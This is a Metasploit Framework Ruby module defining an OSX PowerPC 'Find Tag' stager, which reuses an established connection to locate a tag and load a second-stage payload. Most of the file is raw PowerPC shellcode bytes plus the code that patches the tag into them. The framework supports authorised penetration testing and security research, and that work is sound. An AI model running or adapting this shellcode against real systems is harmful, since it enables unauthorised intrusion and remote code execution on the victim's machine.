##
# $Id: find_tag.rb 9179 2010-04-30 08:40:19Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'
require 'msf/core/handler/find_tag'


###
#
# FindTag
# -------
#
# OSX find tag stager.
#
###
module Metasploit3

	include Msf::Payload::Stager

	def initialize(info = {})
		super(merge_info(info,
			'Name'          => 'Find Tag Stager',
			'Version'       => '$Revision: 9179 $',
			'Description'   => 'Use an established connection',
			'Author'        => 'hdm',
			'License'       => MSF_LICENSE,
			'Platform'      => 'osx',
			'Arch'          => ARCH_PPC,
			'Handler'       => Msf::Handler::FindTag,
			'Stager'        =>
				{
					'Offsets' =>
						{
							'TAG' => [ 54, 'RAW' ],
						},
					'Payload' =>
						"\x3b\xa0\x0f\xff\x3b\xc0\x0f\xff\x37\x9d\xf0\x02\x7f\xdc\xf0\x51" +
						"\x41\x80\xff\xf0\x38\x1d\xf0\x67\x7f\xc3\xf3\x78\x38\x81\xef\xf8" +
						"\x38\xa0\x0f\xff\x38\xdd\xf0\x81\x44\xff\xff\x02\x7c\xc6\x32\x79" +
						"\xa3\x61\xef\xf8\x2c\x1b\x13\x37\x40\x82\xff\xd4\x38\x81\xef\xfc" +
						"\x7c\x89\x03\xa6\x4c\x81\x04\x20\x7c\xc6\x32\x79"
				}
			))
	end

	#
	# Replace the TAG handler to just use two bytes
	#
	def replace_var(raw, name, offset, pack)
		if (name == 'TAG')
			raw[offset, 2] = datastore[name][0,2]
			return true
		end

		return false
	end

end
